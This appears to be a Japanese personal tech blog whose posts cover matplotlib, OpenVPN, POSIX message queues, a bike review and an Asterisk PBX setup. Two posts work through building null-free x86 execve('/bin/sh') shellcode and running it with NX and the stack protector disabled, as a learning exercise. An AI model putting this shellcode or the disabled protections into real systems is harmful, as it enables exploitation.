python3 と matplotlib で描画してみる

備忘録的なアレ

必要なDebianのパッケージ

例のごとく aptitude で入れる。
pipはあくまでもラストリゾート。
もし入ってなかったらnumpyも入れておくと色々できる(かも。。。)

  • python3-matplotlib
  • python3-numpy

描く

とりあえずサイン波描くよ。
ドキュメントはこのへん

#!/usr/bin/python3
from numpy import *
import pylab as plt
 
x = linspace(-pi, pi, 100)
y = sin(x)
 
plt.plot(x, y)
plt.show()

実行結果↓
sin_wav

OpenVPNで自宅にVPNサーバを構築してみる(1)

openvpn-logo
やっと引越し荷物が片付いたので、ぼちぼちネットワーク遊びを再開する。

妻がいわゆる個人事業主なので出先からでも家のファイルサーバにセキュアにアクセスできるようにVPN環境を作ってみる。
※しかしクライアントへの提出がFTP経由だったりするwww

とりあえず、こんな感じにしてみる。

VPN_NW
※アイコンはVRT Systemsで公開されているLibreOffice用の拡張アートワーク。CC BY-SA3.0

本当はTrust側にRadiusサーバとか置けると面白い(?)んだけど常時稼動機器はできるだけ減らす方向なわけで、とりあえず今回は見送り。

以下、Debian Jessieでのやり方。

インストール

いつものごとく apt で一発。
と、思いきや easy-rsa はJessie以降別パッケージ。
(easy-rsa のコードがopenvpnから分離したため)

#aptitude install openvpn
#aptitude install easy-rsa

Static Key 認証

まずは Static Key でやってみる。

サーバ側の設定

まず /etc/openvpn に鍵を作成
#openvpn --genkey --secret static.key

次に/etc/openvpn/tun0.conf を作成

dev tun0
ifconfig 192.168.123.1 192.168.123.2
secret /etc/openvpn/static.key

クライアント側の設定

サーバ側で作成した鍵をセキュアな方法でクライアントの
/etc/openvpn/ へコピー。

次に/etc/openvpn/tun0.conf を作成

remote example.com #VPNサーバのアドレス
dev tun0
ifconfig 192.168.123.2 192.168.123.1
secret /etc/openvpn/static.key

firewall の設定

デフォルトの場合、UDP1194を許可。

通信テスト

サーバ、クライアントの両方で openvpn を実行
openvpn --config /etc/openvpn/tun0.conf --verb 6

インタフェースを確認。
ifconfig -a

こんな感じのやつが見えるはず。

tun0 Link encap:不明なネット ハードウェアアドレス 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inetアドレス:192.168.123.2 P-t-P:192.168.123.1 マスク:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 メトリック:1
RXパケット:0 エラー:0 損失:0 オーバラン:0 フレーム:0
TXパケット:0 エラー:0 損失:0 オーバラン:0 キャリア:0
衝突(Collisions):0 TXキュー長:100
RXバイト:0 (0.0 B) TXバイト:0 (0.0 B)

うまくいけばサーバ(192.168.123.1) クライアント(192.168.123.2)で通信できる。

なお、VPNで使うアドレスは、10.0.0.x や、192.168.0.x など、
外から繋ぐ時に被りそうなセグメントを使わないようにする。

ここまでは簡単ですな。

ということで、次はTLSでやってみるつもり。
次回へ続く。

※RaspberryPiでやろうと思ってたんだけどスループットが10Mbpsも出てないっぽい。どうしよう。。。

POSIX メッセージキューの使い方

組み込み屋さんとはいえ、Linuxが走る高性能なSoCが巷に溢れ、”プラットフォームとしてのLinux”とも無縁ではいられなくなったわけで。LinuxにおけるIPCの方法について調べる機会があったのでまとめてみた。

POSIX メッセージキュー

Linuxにおいて、POSIX.1-2001 準拠のキューが、mq_*() 系の関数で提供されている。

くわしくは
$man mq_overview

mq_open – メッセージキューをオープンする

mqd_t mq_open(const char *name, int oflag);
mqd_t mq_open(const char *name, int oflag, mode_t mode,
                     struct mq_attr *attr);

作成/オープンに成功すると戻り値にキューディスクリプタの番号が入る。
失敗した場合は、-1 が返り、errno にエラー番号が入る。

name

name にはキューの名前が入る。
キューの名前は “/” で始まり、”/”以外の文字を最低1文字含む文字列。

oflag

oflag には、fcntl.h で定義されている制御フラグを指定する。

  • O_RDONLY – 受信専用
  • O_WRONLY – 送信専用
  • O_RDWR – 送受信

また、上記フラグと OR で以下のフラグも指定できる。

  • O_NONBLOCK – ノンブロッキングモード
  • O_CREAT – キューが存在しない場合は作成する
  • O_EXCL – O_CREAT が指定され、name を持つキューが既に存在する場合はエラーにする

mode

oflag に O_CREAT を指定した場合、追加で mode パラメータが必要となる。
mode パラメータは sys/stat.h に定義されている。
0666 のように、数字で指定することもできる。
くわしくは
$man 2 open

attr

mq_attr 構造体で、作成するキューの属性を設定できる。NULLの場合はデフォルト設定でキューが作成される。デフォルトとは、/proc/sys/fs/mqueue/* のファイルに設定されている値である。
くわしくは
$man mq_getattr

mq_send, mq_timedsend – メッセージキューにメッセージを送信する

 #include <mqueue.h>
 
int mq_send(mqd_t mqdes, const char *msg_ptr,
           size_t msg_len, unsigned int msg_prio);
#include <time.h>
#include <mqueue.h>
 
int mq_timedsend(mqd_t mqdes, const char *msg_ptr,
                 size_t msg_len, unsigned int msg_prio,
                 const struct timespec *abs_timeout);

mqdes, *msg_ptr

mq_open で取得したディスクリプタ mqdes のキューに対して、*msg_ptr のメッセージを追加する。

msg_len

msg_ptr が指すメッセージのサイズ。なお、キューの属性 mq_msgsize 以下でなければならない。

msg_prio

メッセージの優先度を指定する値。小さいほど優先度が高い。同じ優先度を持つ場合は到着順に取り出される。

abs_timeout

タイムアウトの時間を指定することができる。タイムアウトを過ぎた場合は、エラーとして関数が返る。(NON BLOCKING mode になっていないこと前提)
タイムアウトの時刻は timespec 構造体で指定する。

struct timespec {
  time_t tv_sec;        /* 秒 */
  long   tv_nsec;       /* ナノ秒 */
};

くわしくは
$man mq_send

mq_receive, mq_timedreceive – メッセージキューからメッセージを受信する

#include <mqueue.h>
 
ssize_t mq_receive(mqd_t mqdes, char *msg_ptr,
                   size_t msg_len, unsigned int *msg_prio);
#include <time.h>
#include <mqueue.h>
 
ssize_t mq_timedreceive(mqd_t mqdes, char *msg_ptr,
                        size_t msg_len, unsigned int *msg_prio,
                        const struct timespec *abs_timeout);

mq_open で取得したディスクリプタ mqdes のキューからメッセージを受信し、*msg_ptrに格納する。受信したメッセージはキューから削除される。

Tern Verge N8 を買いました

VergeN8-rear

購入の顛末

通勤用に買いました。
本当は適当なクロスバイクか、ランドナーみたいなツーリングバイクを通勤仕様にしようと思ってたのですが、自転車屋巡りをしているうちに(やっぱりロードだよな。。)とか思いはじめました。それならば後からロード買う前提で、普段の足として、最初からサブ用途で、ママちゃり的に使えた方が良いかなーとミニベロを探しはじめました。BianchiとかGiosのフロントダブルでドロップハンドル、、と思ってたのですが、通勤仕様であることを考えるとトップチューブが無いタイプの方が良いかと思いはじめ (乗る時の服装がですね。。。)、であれば、用途特化した方が良いというアドバイスをいただいてフォールディングバイクにターゲットを絞り、あとは自転車屋のおにーちゃんと相談して決めました。

最初に相談した時の条件は、

  • マッドガード標準装備 or 純正オプションがあること
  • 可能であれば10kgを切ること
  • フロントがダブルであること、またはダブルに換装できること
  • 価格が10万以下であること
  • コンポはシマノであること

ということで、重量とフロントダブルは妥協して (換装可能ですが、しないと思います。)、オプションでマッドガードつけた Verge N8 になりました。

マッドガードつけるとやっぱりやぼったくなるんだよなぁ。

レビュー、的な

なんだかんだで100kmほど走ったので簡単にレビューです。

見た目

まぁ、普通です。個人的にはやっぱりトップチューブある系のクラシカルなのが好きなので、びみょい感じはあるんですが、折り畳みの機構は胸熱ですね。

あと、溶接はあまり綺麗とは言えないです。ばっちり溶接してます!って感じです。見た目の綺麗さよりも剛性が重要だと思うので、まぁいいですけど。気になる人は気になるかも。

収納

折り畳むと半畳ほどに収まります。畳むのはものの15秒ほどでできちゃいます。
普段は玄関に置いてるので完全に折り畳まず、ハンドル部分だけ畳んでます。そうすると幅をとらないのでいい感じです。

走り

乗り心地はやっぱり固めですが、走りそのものは想像以上に快適です。タイヤちっせーしプッ( ´,_ゝ`)とか思っててマジすんませんした。ただ、高速での巡航はけっこう体力使いますし、タイヤ小さいので直安性も大きい自転車に比べたら劣ります。よく走るとは言ってもあくまでも小径車なり。
ギア8段は必要十分です。高いギア使って漕ぐのが好きなので、通勤では1〜4段はほぼ使ってません。現拠点までのとんでもない坂登る時だけ使います。あと、地味に坂が多いのでちょっと遠出するときはちょこちょこ使わざるをえない状況になります。
小径車でもケイデンス管理したいとかいう特殊な人でもなければフロントダブルにする必要は無いかなー。

パーツ系

リアメカはシマノ・クラリス、タイヤはシュワルベ・コジャックで、そのままでも充分です。特にタイヤはオーバースペック気味な気がしないでもないです。なんとなく「カスタムベースにしてね(ニッコリ」とかいう天の声が聞こえてきます。
なんとなくですけど、N8ベースでP20相当にカスタムしても安く上がるんじゃないかと思います。

こうして人は沼に嵌るわけです。

…しばらくはノーマルで乗りますよ。しばらくは。

ブレーキ、普通に止まります。街乗りなら充分です。

変速性能、十分。たしかに、試乗した105 (ARAYA Raleigh の CRF に乗りました) に比べるとカチッと感は少ない、、、ような気がする。けど正直よくわかんね。そこまで求めてないし。ただ、さっそく甘くなってきてる気が。。。そろそろワイアの伸びをとってやらなきゃいけないですね。

おまけ

ミノウラのスマホホルダー買いました。Ingressが捗る。。。
(そういえば…ボッチでぬるいプレーを続けることほぼ1年。やっとレベル8になりました。)

スタック上のシェルコードを実行してみる

前回作成したシェルコードが動くことが確認できたので、今度は関数として呼び出して実行してみる。

// shellcode_test.c
int main()
{
  char shellcode[] =
    "\x31\xd2"              // xor  %edx, %edx
    "\x52"                  // push %edx
    "\x68\x6e\x2f\x73\x68"  // push $0x68732f6e
    "\x68\x2f\x2f\x62\x69"  // push $0x69622f2f
    "\x89\xe3"              // mov  %esp,%edx
    "\x52"                  // push %edx
    "\x53"                  // push %edx
    "\x89\xe1"              // mov  %esp, %ecx
    "\x8d\x42\x0b"          // lea  0xb(%edx),%eax
    "\xcd\x80";             // int  $0x80
 
  (*(void (*)())shellcode)();
 
  return 0;
}

$gcc -m32 shellcode_test.c
$./a.out

Segmentation fault

動きませんでした。というわけでgdbでおいかけてみる。

$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080483cc <+0>:	lea    ecx,[esp+0x4]
   0x080483d0 <+4>:	and    esp,0xfffffff0
   0x080483d3 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080483d6 <+10>:	push   ebp
   0x080483d7 <+11>:	mov    ebp,esp
   0x080483d9 <+13>:	push   ecx
   0x080483da <+14>:	sub    esp,0x24
   0x080483dd <+17>:	mov    DWORD PTR [ebp-0x21],0x6852d231
   0x080483e4 <+24>:	mov    DWORD PTR [ebp-0x1d],0x68732f6e
   0x080483eb <+31>:	mov    DWORD PTR [ebp-0x19],0x622f2f68
   0x080483f2 <+38>:	mov    DWORD PTR [ebp-0x15],0x52e38969
   0x080483f9 <+45>:	mov    DWORD PTR [ebp-0x11],0x8de18953
   0x08048400 <+52>:	mov    DWORD PTR [ebp-0xd],0x80cd0b42
   0x08048407 <+59>:	mov    BYTE PTR [ebp-0x9],0x0
   0x0804840b <+63>:	lea    eax,[ebp-0x21]
   0x0804840e <+66>:	call   eax
   0x08048410 <+68>:	mov    eax,0x0
   0x08048415 <+73>:	add    esp,0x24
   0x08048418 <+76>:	pop    ecx
   0x08048419 <+77>:	pop    ebp
   0x0804841a <+78>:	lea    esp,[ecx-0x4]
   0x0804841d <+81>:	ret    
End of assembler dump.
(gdb) 

シェルコードを初期化して、eaxレジスタに格納して、ちゃんとcallしているように見える。
ということで、gdbでシェルコードの先頭まで移動。

(gdb) b *0x0804840e
Breakpoint 1 at 0x804840e
(gdb) run
Starting program: /*****************/a.out 

Breakpoint 1, 0x0804840e in main ()
(gdb) si
0xffffd387 in ?? ()
(gdb) x/15i $esp
   0xffffd37c:	adc    BYTE PTR [esp+eax*1-0x2a39f8],al
   0xffffd383:	jmp    FWORD PTR [edi]
   0xffffd385:	add    BYTE PTR [eax],al
=> 0xffffd387:	xor    edx,edx
   0xffffd389:	push   edx
   0xffffd38a:	push   0x68732f6e
   0xffffd38f:	push   0x69622f2f
   0xffffd394:	mov    ebx,esp
   0xffffd396:	push   edx
   0xffffd397:	push   ebx
   0xffffd398:	mov    ecx,esp
   0xffffd39a:	lea    eax,[edx+0xb]
   0xffffd39d:	int    0x80
   0xffffd39f:	add    ah,al
   0xffffd3a1:	arpl   dx,di

0xffffd387 から 0xffffd39d までがシェルコード。別に変な命令ではありません。
ということで、つぎの命令を実行してみると。

(gdb) si

Program received signal SIGSEGV, Segmentation fault.
0xffffd387 in ?? ()

はい死んだー。

ちゃんとした命令を実行してるのにおかしいなーと調べてみると、どうもamd64(x86_64)にはNXビットというものがあるらしく、スタック領域というか、データ領域のプログラムを実行することができないみたい。(え、今さら?知らないの俺だけ?)

ということで、最近のPCだとこのアプローチではバッファオーバーフロー攻撃はできないようです。
実験レベルであればgccのオプションでスタック領域のコードを実行可能にしちゃえばいいわけですが。

gcc -m32 -fno-stack-protector -z execstack shellcode_test.c

でも残念ながらこれだけでは本のバッファオーバーフロー攻撃のサンプルコードは動かない。というのは、多分アドレスのランダム化(ASLR)が行われているからで、戻りアドレスにNOPスレッドを置けていないわけですね。

ASLRを無効化するにはsysctrlでカーネルのパラメータを変更しなきゃいけない。

とうことで、もしかして “Hacking 美しき策謀” は既に古典入り?
良書なので、第3版でまたまた大幅改訂してx64アーキテクチャに対応すると嬉しいですな。

シェルコードを書いてみた

ふーん。。。で流し読みしてちゃんと試してなかった Hacking -美しき策謀- 第二版のバッファオーバーフローをやってみたらできなかったよ。なんで!

ということで実験。
まずは謎の文字列 (シェルコード) を自分で用意してみる。

調べればこの手のシェルコードなんてたくさん出てくるんだろうけど、車輪の仕組みを知るには車輪を作るのが一番てっとり早いのです。

まずは普通にシェルを動かすコードをCで。

exec_sh.c

#include <unistd.h>
int main()
{
  char *argv[] = {"/bin/sh", NULL};
  execve(argv[0], argv, NULL);
}

$gcc -m32 exec_sh.c
参考にしてる本が x86 ベースで書かれてるのでサンプルコードは全部 -m32 でコンパイルすることにしてます。

まず試してみる。まぁ当然、shが起動する。
$./a.out
$

gdb で中身を見てみる

$gdb -q a.out
Reading symbols from ./a.out...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080483fc <+0>:	lea    ecx,[esp+0x4]
   0x08048400 <+4>:	and    esp,0xfffffff0
   0x08048403 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048406 <+10>:	push   ebp
   0x08048407 <+11>:	mov    ebp,esp
   0x08048409 <+13>:	push   ecx
   0x0804840a <+14>:	sub    esp,0x14
   0x0804840d <+17>:	mov    DWORD PTR [ebp-0x10],0x80484d0
   0x08048414 <+24>:	mov    DWORD PTR [ebp-0xc],0x0
   0x0804841b <+31>:	mov    eax,DWORD PTR [ebp-0x10]
   0x0804841e <+34>:	sub    esp,0x4
   0x08048421 <+37>:	push   0x0
   0x08048423 <+39>:	lea    edx,[ebp-0x10]
   0x08048426 <+42>:	push   edx
   0x08048427 <+43>:	push   eax
   0x08048428 <+44>:	call   0x80482f0 
   0x0804842d <+49>:	add    esp,0x10
   0x08048430 <+52>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048433 <+55>:	leave  
   0x08048434 <+56>:	lea    esp,[ecx-0x4]
   0x08048437 <+59>:	ret    
End of assembler dump.
(gdb) disas execve
Dump of assembler code for function execve@plt:
   0x080482f0 <+0>:	jmp    DWORD PTR ds:0x80496cc
   0x080482f6 <+6>:	push   0x10
   0x080482fb <+11>:	jmp    0x80482c0
End of assembler dump.

これだとexecveの中でやってることがわからない。
ということでスタティックリンクでやりなおし。

$gcc -m32 -static exec_sh.c

$gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048e3c <+0>:	lea    ecx,[esp+0x4]
   0x08048e40 <+4>:	and    esp,0xfffffff0
   0x08048e43 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048e46 <+10>:	push   ebp
   0x08048e47 <+11>:	mov    ebp,esp
   0x08048e49 <+13>:	push   ecx
   0x08048e4a <+14>:	sub    esp,0x14
   0x08048e4d <+17>:	mov    DWORD PTR [ebp-0x10],0x80be548
   0x08048e54 <+24>:	mov    DWORD PTR [ebp-0xc],0x0
   0x08048e5b <+31>:	mov    eax,DWORD PTR [ebp-0x10]
   0x08048e5e <+34>:	sub    esp,0x4
   0x08048e61 <+37>:	push   0x0
   0x08048e63 <+39>:	lea    edx,[ebp-0x10]
   0x08048e66 <+42>:	push   edx
   0x08048e67 <+43>:	push   eax
   0x08048e68 <+44>:	call   0x806bf70 
   0x08048e6d <+49>:	add    esp,0x10
   0x08048e70 <+52>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048e73 <+55>:	leave  
   0x08048e74 <+56>:	lea    esp,[ecx-0x4]
   0x08048e77 <+59>:	ret    
End of assembler dump.
(gdb) disas execve
Dump of assembler code for function execve:
   0x0806bf70 <+0>:	push   ebx
   0x0806bf71 <+1>:	mov    edx,DWORD PTR [esp+0x10]
   0x0806bf75 <+5>:	mov    ecx,DWORD PTR [esp+0xc]
   0x0806bf79 <+9>:	mov    ebx,DWORD PTR [esp+0x8]
   0x0806bf7d <+13>:	mov    eax,0xb
   0x0806bf82 <+18>:	call   DWORD PTR ds:0x80ea470
   0x0806bf88 <+24>:	cmp    eax,0xfffff000
   0x0806bf8d <+29>:	ja     0x806bf91 
   0x0806bf8f <+31>:	pop    ebx
   0x0806bf90 <+32>:	ret    
   0x0806bf91 <+33>:	mov    edx,0xffffffe8
   0x0806bf97 <+39>:	neg    eax
   0x0806bf99 <+41>:	mov    DWORD PTR gs:[edx],eax
   0x0806bf9c <+44>:	or     eax,0xffffffff
   0x0806bf9f <+47>:	pop    ebx
   0x0806bfa0 <+48>:	ret    
End of assembler dump.
(gdb) 

call DWORD PTR ds:0x80ea470 の先で何やってるのかわからない。
(ここでしばし gdb の使い方を調べる。。。)

(gdb) disas *0x80ea470
Dump of assembler code for function _dl_sysinfo_int80:
   0x0806ea10 <+0>:	int    0x80
   0x0806ea12 <+2>:	ret    
End of assembler dump.
(gdb) 

int 0x80 命令を実行しているもよう。 int 0x80 ってなんだろう。
(ここでしばし調べもの。。。)

どうやら割り込みベクタテーブルらしい。システムコールを呼ぶときには、レジスタにシステムコール番号と引数をセットして int 0x80 命令を実行すれば良いということなので、breakポイント張ってこの直前のレジスタの状態を調べる。

(gdb) break *0x0806bf82
Breakpoint 1 at 0x806bf82
(gdb) run
Starting program: /home/******/a.out 

Breakpoint 1, 0x0806bf82 in execve ()
(gdb) i r
eax            0xb	11
ecx            0xffffd3c8	-11320
edx            0x0	0
ebx            0x80be548	134997320
esp            0xffffd3a8	0xffffd3a8
ebp            0xffffd3d8	0xffffd3d8
esi            0x0	0
edi            0x80e9aa4	135174820
eip            0x806bf82	0x806bf82 
eflags         0x292	[ AF SF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99
(gdb) 
(gdb) x/4wx $ebx
0x80be548:	0x6e69622f	0x0068732f	0x6362696c	0x6174732d

真のハッカーとはこれを見て、ASCIIだなと思わなければいけないらしい。
ちなみにASCIIにすると。。。

(gdb) x/s $ebx
0x80be548:	"/bin/sh"
(gdb) x/4wx $ecx
0xffffd3c8:	0x080be548	0x00000000	0x080e9af4	0xffffd3f0

つまり、この時のレジスタはこんな状態

eax:0xb (11) → execve(2)のシステムコール番号
ebx:0x80be548 → “/bin/sh”
ecx:0xffffd3c8 → “/bin/sh” の先頭アドレス + NULL
edx:0

レジスタをこの状態にして int 0x80 命令を実行すると /bin/sh が呼ばれるはず。
というわけで、これをアセンブラで再現する。

/* exec_shell.s */
  .intel_syntax noprefix
  .global _start

_start:
  push 0x0068732f
  push 0x6e69622f
  mov ebx, esp
  xor edx, edx
  push edx
  push ebx
  mov ecx, esp
  mov eax, 11
  int 0x80

よけいなものがくっつかないようにコンパイル。
gcc -nostdlib -m32 exec_shell.s

期待通りに動くかなー。
$./a.out
$

おk。

objdump してみます。

$objdump -d a.out

a.out:     file format elf32-i386


Disassembly of section .text:

08048098 <_start>:
 8048098:	68 2f 73 68 00       	push   $0x68732f
 804809d:	68 2f 62 69 6e       	push   $0x6e69622f
 80480a2:	89 e3                	mov    %esp,%ebx
 80480a4:	31 d2                	xor    %edx,%edx
 80480a6:	52                   	push   %edx
 80480a7:	53                   	push   %ebx
 80480a8:	89 e1                	mov    %esp,%ecx
 80480aa:	b8 0b 00 00 00       	mov    $0xb,%eax
 80480af:	cd 80                	int    $0x80

はい。シェルコードできあがり。
でもこれだと、途中に null が入ってるのでダメ。
というのは、普通、バッファオーバーフローの脆弱性攻撃に strcpy とかでこのシェルコードを送り込むからです。
null が入ってると途中で終端されちゃいます。

まずは “/bin/sh” ですが、 “//bin/sh” にしちゃいます。これで “68 2f 73 68 00” の 00 を追い出せます。
あとは11を即値で指定しないでedxから計算してます。

/* exec_shell.s */
  .intel_syntax noprefix
  .global _start

_start:
  xor edx, edx
  push edx
  push 0x68732f6e
  push 0x69622f2f
  mov ebx, esp
  push edx
  push ebx
  mov ecx, esp
  lea eax, [edx+11]
  int 0x80

これをコンパイルしなおして、コンパイル結果を objdump すると null が消えていることがわかります。

$ objdump -d a.out 

a.out:     file format elf32-i386


Disassembly of section .text:

08048098 <_start>:
 8048098:	31 d2                	xor    %edx,%edx
 804809a:	52                   	push   %edx
 804809b:	68 6e 2f 73 68       	push   $0x68732f6e
 80480a0:	68 2f 2f 62 69       	push   $0x69622f2f
 80480a5:	89 e3                	mov    %esp,%ebx
 80480a7:	52                   	push   %edx
 80480a8:	53                   	push   %ebx
 80480a9:	89 e1                	mov    %esp,%ecx
 80480ab:	8d 42 0b             	lea    0xb(%edx),%eax
 80480ae:	cd 80                	int    $0x80

ということであとはこれを適当に整形して。。。とりあえずファイルにテキスト形式で吐かせておく。
$objdump -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' > shellcode.txt

\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

できあがり。なんだかんだで1時間ほどかかりました。慣れたらもうちょっとささっと書けるかなー。
そこそこコンパクトなシェルコードが書けたんじゃないかと思います。

しかしバッファオーバーフローは成立しないのであった。なんでー?

次回に続く (先に種明かしをすると、、、x64 NXビット…

今年の目標とか。とりあえず。

さて、2015年も明けてはやくも1月経とうとしています。
去年の暮れから転勤辞令が下り、家族の都合上今はレオパレス住みになってしまい、3Dプリンタ充ができていません。母艦も家に置いたままなので、非力なノートPCじゃCADもいじれず、ネットワーク環境も残念なleonetなので根城にサーバたてたりネットワーク遊びもできず。

とりあえず本拠地を移すまでは工作系とネットワーク遊びはおあずけで、しばらくはプログラミングとDebian的活動を主軸にやっていきたいと思います。今年は Debian 的なことももっとやりたいし、Maker 的なことももっとやりたいし、財テク&副業も確定申告できるレベルにはなりたいと思います。しかし仕事が忙しい。実入りはいいんですけどね。

そんなわけで今年もやりたいことのうち半分もできないとは思いますが、考えられうる最良の結果を求めて頑張りたいと思います。

Fusion回線 をAsteriskに収容する

Asteriskで内線電話環境構築したわけですが、実はここからが本当にやりたかったことで、Fusion IP-Phone Smart を Asterisk に収容して基本料無料の固定電話を実現させる予定です。

Fusionアカウントの設定

sip.conf の general セクションに Fusion の設定を追加します。

register => SIPアカウント:SIPアカウントパスワード@smart.0038.net

SIPアカウントの部分は、Fusionから提供されるSIPアカウント名(050を抜いた電話番号)になります。パスワードはFusionアカウントのパスワードではなく、Fusionから提供されるSIPアカウントのパスワードになります。

次に、新しいセクションを作成します。名前は任意ですが、ここではfusionと仮定します。

[fusion]
type=friend
username=SIPアカウント
fromuser=SIPアカウント
secret=SIPアカウントパスワード
host=smart.0038.net
fromdomain=smart.0038.net
context=fusion-in
insecure=port,invite
canreinvite=no
dtmfmode=rfc2833

SIPアカウントの情報を平文で保存しておくのは精神衛生上あまりよくないですね。

私の環境では、FirewallでSIPプロトコルの許可と、5060番にきた通信をAsteriskが動いているサーバへフォワーディングしてやる設定を追加する必要がありました。このままですと、SIPアカウントの情報が漏れると有料電話かけ放題になってしまいます。ところが、ファイアウォールで5060番を許可するアドレスを絞ってしまうと、音声通話できない&10秒ほどで通話が切れてしまうのでした。どうもFusionからの着信はIPが固定されていないようです。
ぐぬぬ。。。

insecure=port, invite
peerとの接続に関する設定のようです。 portを設定しておくと、どのポートからのアクセスでも許可するようになります。invite を設定しておくと着信時の認証が不要になるようです。

dtmfmode=rfc2833
いわゆるピポパの設定です。inband、rfc2833、info、auto、が設定できます。とりあえずrfc2833がデファクトスタンダードらしいのでこれにしていますが、動くかどうかはわかりません。今度郵便の不在票が届いた時に運送会社の自動再配達受付で試してみる予定です。

前回までの設定も含めた、sip.conf は以下のようになります。

[general]
context=default
port=5060
binaddr=0.0.0.0

disallow=all
allow=ulaw
allow=alaw
allow=gsm

register => SIPアカウント:パスワード@smart.0038.net

[01]
type=friend
defaultuser=01
username=01
secret=pass
canreinvite=no
host=dynamic

[02]
type=friend
defaultuser=02
username=02
secret=pass
canreinvite=no
host=dynamic

[03]
type=friend
defaultuser=03
username=03
secret=pass
canreinvite=no
host=dynamic

[fusion]
type=friend
username=SIPアカウント
fromuser=SIPアカウント
secret=パスワード
host=smart.0038.net
fromdomain=smart.0038.net
context=fusion-in
insecure=port,invite
canreinvite=no
dtmfmode=rfc2833

着信の設定

extensions.conf に着信の設定を追加します。この、着信時の定義を仮に fusion-in とします。

[fusion-in]
exten => SIPアカウント,1,Dial(SIP/01&SIP/02&SIP/03,60)
exten => SIPアカウント,2,Congestion

基本的には、内線の時と同じような設定しかしていません。fusionアカウントに着信があった場合は、内線電話の01~03を一斉に鳴動させます。60秒でとらない場合は切ります。Dialの引数に、SIP/番号&SIP/番号…と並べていけば一斉鳴動させることができます。たぶん正規表現も使えると思います。

ここまでで着信のテストをして、外線着信で一斉鳴動することと、外線で通話できることを確認しました。Fusion IP Phone Smart はクレジットカードの枚数分アカウントを作れるので、実験用にもう1つアカウントを作成しました。Fusion IP Phone 同士の通話は無料なので、1つを携帯用にすれば、家にVPNを張らなくても、家と携帯間の通話が無料になります。

発信の設定

extensions.conf に発信の設定を追加します。

exten => _0.,1,Dial(SIP/${EXTEN}@fusion

@以下は sip.conf で定義したセクション名です。
この設定では、0で始まる番号はfusionアカウントで発信するという設定になっています。ここの設定をいじることで、例えばfusionアカウントのみへの発信や、家族の携帯のみへの発信などに制限することができます。

このままの設定だと、アカウントとパスワードがわかっていまうと有料通話できてしまうので、せめてプレフィックスで外線発信が簡単にできないようにしようと思います。ということでさっきの設定は消して。

;exten => _0.,1,Dial(SIP/${EXTEN}@fusion
exten => _999.,1,Set(CALLERID(num)=電話番号)
exten => _999.,1,Set(CALLERID(name)=電話番号)
exten => _999.,n,Dial(SIP/${EXTEN:2}@fusion1)

電話番号は050も含めた電話番号を記述します。

ちょっとした気休めなのですが、こうすることで999をつけないと外線発信できないようになります。
${EXTEN:2}はプログラミングのスライスみたいな感じですね。最初の3桁の数字はプレフィックスですよーという意味になるっぽいです。0から数えるので3桁の場合は2に、4桁の場合は3になります。

というわけで、最終的に extension.conf は以下のようになりました。

[general]
static=yes
writeprotect=no
clearglobalvars=no

[globals]
MYNUMBER=050xxxxxxxx ;電話番号はグローバル変数に格納してみた

[fusion-in]
exten => SIPアカウント,1,Dial(SIP/01&SIP/02&SIP/03,60)
exten => SIPアカウント,2,Congestion
exten => SIPアカウント,102,Busy ;話中の設定も足してみた。

[default]
exten => 01,1,Dial(SIP/01,60)
exten => 01,2,Congestion
exten => 01,102,Busy

exten => 02,1,Dial(SIP/02,60)
exten => 02,2,Congestion
exten => 02,102,Busy

exten => 03,1,Dial(SIP/03,60)
exten => 03,2,Congestion
exten => 03,102,Busy

;exten => _0.,1,Dial(SIP/${EXTEN}@fusion1)
exten => _999.,1,Set(CALLERID(num)=${MYNUMBER})
exten => _999.,1,Set(CALLERID(name)=${MYNUMBER})
exten => _999.,n,Dial(SIP/${EXTEN:2}@fusion)

スモールオフィスとかはもうこれで十分ですね。

【Debian】Asteriskで内線電話環境構築

とりあえず実験。

Asteriskのインストール

Raspberry Pi をPBX化します。
RasPBXという専用のディストリもあるみたいですが、現在内向きDNSとして稼働中なのでRaspbianのままPBX化します。
せっかくAsteriskがパッケージ化されてるのでそれを使います。

$sudo aptitude install asterisk

インストール中に ITU-T telephone code をきかれます。いわゆる国別割り当て番号で、国際電話の時に頭につける2桁の番号ですね。日本は 81 になります。
タイトルに【Debian】とかついてますが、Debianっぽいのはここまで。

Astersikの設定

/etc/asterisk 見たら *.confがなんかいっぱいあって困った。
使いこなすのは結構大変そう。

どうも sip.conf と extensions.conf をいじるみたいです。
で、開いてみたところ。

; Note: Please read the security documentation for Asterisk in order to
; understand the risks of installing Asterisk with the sample
; configuration. If your Asterisk is installed on a public
; IP address connected to the Internet, you will want to learn
; about the various security settings BEFORE you start
; Asterisk.

きちんと読んでセキュリティちゃんとしないとダメよ。と書いてあります。ごもっとも。
で、このファイルだけで 1300行超。。。めんどくさ。

sip.confの設定

ごちゃごちゃしてるので全部消して書き直しました。

generalセクション

まずは全体設定になります。

[general]
context=default
port=5060
binaddr=0.0.0.0
disallow=all
allow=ulaw
allow=alaw
allow=gsm

context=default
extensions.conf 内に定義されるコンテキストと関連付いてます。

port=5060
SIPサーバで使うudpポートです。
デフォルト5060なので、特に理由がなければそのままにしておきます。

binaddr=0.0.0.0
レジストを受け付けるアドレスです。デフォルト 0.0.0.0 (any) になっているので、特に理由がなければそのままにしておきます。
たとえば 192.168.0.0/24 のみに絞りたければ、
binaddr=192.168.0.0/255.255.255.0
みたいに書くようです。

disallow=all
allow=ulaw
allow=alaw
allow=gsm

コーデックの設定になります。最初にすべて無効にしてから、使うコーデックを並べます。

各番号の設定

[01]
type=friend
username=01
secret=pass
canreinvite=no
host=dynamic

